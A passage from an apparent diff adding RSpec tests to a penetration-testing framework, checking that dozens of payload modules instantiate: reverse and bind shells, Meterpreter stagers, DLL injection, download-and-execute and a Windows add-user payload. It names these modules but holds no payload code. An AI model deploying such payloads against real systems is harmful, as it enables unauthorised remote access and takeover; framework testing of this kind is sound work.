'singles/linux/x86/shell_find_tag' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell_find_tag' + end + + context 'linux/x86/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell_reverse_tcp' + end + + context 'linux/x86/shell_reverse_tcp2' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/shell_reverse_tcp2' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell_reverse_tcp2' + end + + context 'netware/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/netware/reverse_tcp', + 'stages/netware/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'netware/shell/reverse_tcp' + end + + context 'nodejs/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/nodejs/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'nodejs/shell_bind_tcp' + end + + context 'nodejs/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/nodejs/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'nodejs/shell_reverse_tcp' + end + + context 'nodejs/shell_reverse_tcp_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/nodejs/shell_reverse_tcp_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'nodejs/shell_reverse_tcp_ssl' + end + + context 'osx/armle/execute/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/armle/bind_tcp', + 'stages/osx/armle/execute' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/armle/execute/bind_tcp' + end + + context 'osx/armle/execute/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/armle/reverse_tcp', + 'stages/osx/armle/execute' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/armle/execute/reverse_tcp' + end + + context 'osx/armle/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/armle/bind_tcp', + 'stages/osx/armle/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/armle/shell/bind_tcp' + end + + context 'osx/armle/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/armle/reverse_tcp', + 'stages/osx/armle/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/armle/shell/reverse_tcp' + end + + context 'osx/armle/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/armle/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/armle/shell_bind_tcp' + end + + context 'osx/armle/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/armle/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/armle/shell_reverse_tcp' + end + + context 'osx/armle/vibrate' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/armle/vibrate' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/armle/vibrate' + end + + context 'osx/ppc/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/ppc/bind_tcp', + 'stages/osx/ppc/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/ppc/shell/bind_tcp' + end + + context 'osx/ppc/shell/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/ppc/find_tag', + 'stages/osx/ppc/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/ppc/shell/find_tag' + end + + context 'osx/ppc/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/ppc/reverse_tcp', + 'stages/osx/ppc/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/ppc/shell/reverse_tcp' + end + + context 'osx/ppc/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/ppc/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/ppc/shell_bind_tcp' + end + + context 'osx/ppc/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/ppc/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/ppc/shell_reverse_tcp' + end + + context 'osx/x64/dupandexecve/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x64/bind_tcp', + 'stages/osx/x64/dupandexecve' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x64/dupandexecve/bind_tcp' + end + + context 'osx/x64/dupandexecve/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x64/reverse_tcp', + 'stages/osx/x64/dupandexecve' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x64/dupandexecve/reverse_tcp' + end + + context 'osx/x64/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x64/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x64/exec' + end + + context 'osx/x64/say' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x64/say' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x64/say' + end + + context 'osx/x64/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x64/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x64/shell_bind_tcp' + end + + context 'osx/x64/shell_find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x64/shell_find_tag' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x64/shell_find_tag' + end + + context 'osx/x64/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x64/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x64/shell_reverse_tcp' + end + + context 'osx/x86/bundleinject/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x86/bind_tcp', + 'stages/osx/x86/bundleinject' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/bundleinject/bind_tcp' + end + + context 'osx/x86/bundleinject/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x86/reverse_tcp', + 'stages/osx/x86/bundleinject', + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/bundleinject/reverse_tcp' + end + + context 'osx/x86/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x86/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/exec' + end + + context 'osx/x86/isight/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x86/bind_tcp', + 'stages/osx/x86/isight' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/isight/bind_tcp' + end + + context 'osx/x86/isight/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x86/reverse_tcp', + 'stages/osx/x86/isight' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/isight/reverse_tcp' + end + + context 'osx/x86/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x86/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/shell_bind_tcp' + end + + context 'osx/x86/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x86/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/shell_find_port' + end + + context 'osx/x86/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x86/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/shell_reverse_tcp' + end + + context 'osx/x86/vforkshell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x86/bind_tcp', + 'stages/osx/x86/vforkshell' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/vforkshell/bind_tcp' + end + + context 'osx/x86/vforkshell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x86/reverse_tcp', + 'stages/osx/x86/vforkshell' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/vforkshell/reverse_tcp' + end + + context 'osx/x86/vforkshell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x86/vforkshell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/vforkshell_bind_tcp' + end + + context 'osx/x86/vforkshell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x86/vforkshell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/vforkshell_reverse_tcp' + end + + context 'php/bind_perl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/bind_perl' + ], + modules_pathname: modules_pathname, + reference_name: 'php/bind_perl' + end + + context 'php/bind_perl_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/bind_perl_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'php/bind_perl_ipv6' + end + + context 'php/bind_php' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/bind_php' + ], + modules_pathname: modules_pathname, + reference_name: 'php/bind_php' + end + + context 'php/bind_php_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/bind_php_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'php/bind_php_ipv6' + end + + context 'php/download_exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/download_exec' + ], + modules_pathname: modules_pathname, + reference_name: 'php/download_exec' + end + + context 'php/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'php/exec' + end + + context 'php/meterpreter/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/php/bind_tcp', + 'stages/php/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter/bind_tcp' + end + + context 'php/meterpreter/bind_tcp_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/php/bind_tcp_ipv6', + 'stages/php/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter/bind_tcp_ipv6' + end + + context 'php/meterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/php/reverse_tcp', + 'stages/php/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter/reverse_tcp' + end + + context 'php/meterpreter_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/meterpreter_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter_reverse_tcp' + end + + context 'php/reverse_perl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/reverse_perl' + ], + modules_pathname: modules_pathname, + reference_name: 'php/reverse_perl' + end + + context 'php/reverse_php' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/reverse_php' + ], + modules_pathname: modules_pathname, + reference_name: 'php/reverse_php' + end + + context 'php/shell_findsock' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/shell_findsock' + ], + modules_pathname: modules_pathname, + reference_name: 'php/shell_findsock' + end + + context 'python/meterpreter/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/python/bind_tcp', + 'stages/python/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter/bind_tcp' + end + + context 'python/meterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/python/reverse_tcp', + 'stages/python/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter/reverse_tcp' + end + + context 'python/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/python/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'python/shell_reverse_tcp' + end + + context 'python/shell_reverse_tcp_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/python/shell_reverse_tcp_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'python/shell_reverse_tcp_ssl' + end + + context 'ruby/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/ruby/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'ruby/shell_bind_tcp' + end + + context 'ruby/shell_bind_tcp_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/ruby/shell_bind_tcp_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'ruby/shell_bind_tcp_ipv6' + end + + context 'ruby/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/ruby/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'ruby/shell_reverse_tcp' + end + + context 'ruby/shell_reverse_tcp_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/ruby/shell_reverse_tcp_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'ruby/shell_reverse_tcp_ssl' + end + + context 'solaris/sparc/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/solaris/sparc/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'solaris/sparc/shell_bind_tcp' + end + + context 'solaris/sparc/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/solaris/sparc/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'solaris/sparc/shell_find_port' + end + + context 'solaris/sparc/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/solaris/sparc/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'solaris/sparc/shell_reverse_tcp' + end + + context 'solaris/x86/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/solaris/x86/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'solaris/x86/shell_bind_tcp' + end + + context 'solaris/x86/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/solaris/x86/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'solaris/x86/shell_find_port' + end + + context 'solaris/x86/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/solaris/x86/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'solaris/x86/shell_reverse_tcp' + end + + context 'tty/unix/interact' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/tty/unix/interact' + ], + modules_pathname: modules_pathname, + reference_name: 'tty/unix/interact' + end + + context 'windows/adduser' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/adduser' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/adduser' + end + + context 'windows/dllinject/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/bind_ipv6_tcp' + end + + context 'windows/dllinject/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_nonx_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/bind_nonx_tcp' + end + + context 'windows/dllinject/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/bind_tcp' + end + + context 'windows/dllinject/bind_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_rc4', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/bind_tcp_rc4' + end + + context 'windows/dllinject/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/findtag_ord', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/find_tag' + end + + context 'windows/dllinject/reverse_hop_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_hop_http', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_hop_http' + end + + context 'windows/dllinject/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_http' + end + + context 'windows/dllinject/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ipv6_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_ipv6_tcp' + end + + context 'windows/dllinject/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_nonx_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_nonx_tcp' + end + + context 'windows/dllinject/reverse_ord_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ord_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_ord_tcp' + end + + context 'windows/dllinject/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_tcp' + end + + context 'windows/dllinject/reverse_tcp_allports' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_allports', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_tcp_allports' + end + + context 'windows/dllinject/reverse_tcp_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_dns', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_tcp_dns' + end + + context 'windows/dllinject/reverse_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_tcp_rc4' + end + + context 'windows/dllinject/reverse_tcp_rc4_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4_dns', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_tcp_rc4_dns' + end + + context 'windows/dns_txt_query_exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/dns_txt_query_exec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dns_txt_query_exec' + end + + context 'windows/download_exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/download_exec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/download_exec' + end + + context 'windows/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/exec' + end + + context 'windows/loadlibrary' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/loadlibrary' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/loadlibrary' + end + + context 'windows/messagebox' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/messagebox' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/messagebox' + end + + context 'windows/meterpreter/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_ipv6_tcp' + end + + context 'windows/meterpreter/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_nonx_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_nonx_tcp' + end + + context 'windows/meterpreter/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_tcp' + end + + context 'windows/meterpreter/bind_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_rc4', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_tcp_rc4' + end + + context 'windows/meterpreter/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/findtag_ord', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/find_tag' + end + + context 'windows/meterpreter/reverse_hop_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_hop_http', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_hop_http' + end + + context 'windows/meterpreter/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_http' + end + + context 'windows/meterpreter/reverse_https' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_https', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_https' + end + + context 'windows/meterpreter/reverse_https_proxy' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_https_proxy', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_https_proxy' + end + + context 'windows/meterpreter/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ipv6_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_ipv6_tcp' + end + + context 'windows/meterpreter/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_nonx_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_nonx_tcp' + end + + context 'windows/meterpreter/reverse_ord_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ord_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_ord_tcp' + end + + context 'windows/meterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_tcp' + end + + context 'windows/meterpreter/reverse_tcp_allports' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_allports', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_tcp_allports' + end + + context 'windows/meterpreter/reverse_tcp_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_dns', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_tcp_dns' + end + + context 'windows/meterpreter/reverse_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_tcp_rc4' + end + + context 'windows/meterpreter/reverse_tcp_rc4_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4_dns', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_tcp_rc4_dns' + end + + context 'windows/metsvc_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/metsvc_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/metsvc_bind_tcp' + end + + context 'windows/metsvc_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/metsvc_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/metsvc_reverse_tcp' + end + + context 'windows/patchupdllinject/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/bind_ipv6_tcp' + end + + context 'windows/patchupdllinject/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_nonx_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/bind_nonx_tcp' + end + + context 'windows/patchupdllinject/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/bind_tcp' + end + + context 'windows/patchupdllinject/bind_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_rc4', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/bind_tcp_rc4' + end + + context 'windows/patchupdllinject/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/findtag_ord', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/find_tag' + end + + context 'windows/patchupdllinject/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ipv6_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_ipv6_tcp' + end + + context 'windows/patchupdllinject/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_nonx_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_nonx_tcp' + end + + context 'windows/patchupdllinject/reverse_ord_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ord_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_ord_tcp' + end + + context 'windows/patchupdllinject/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_tcp' + end + + context 'windows/patchupdllinject/reverse_tcp_allports' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_allports', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_tcp_allports' + end + + context 'windows/patchupdllinject/reverse_tcp_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_dns', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_tcp_dns' + end + + context 'windows/patchupdllinject/reverse_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 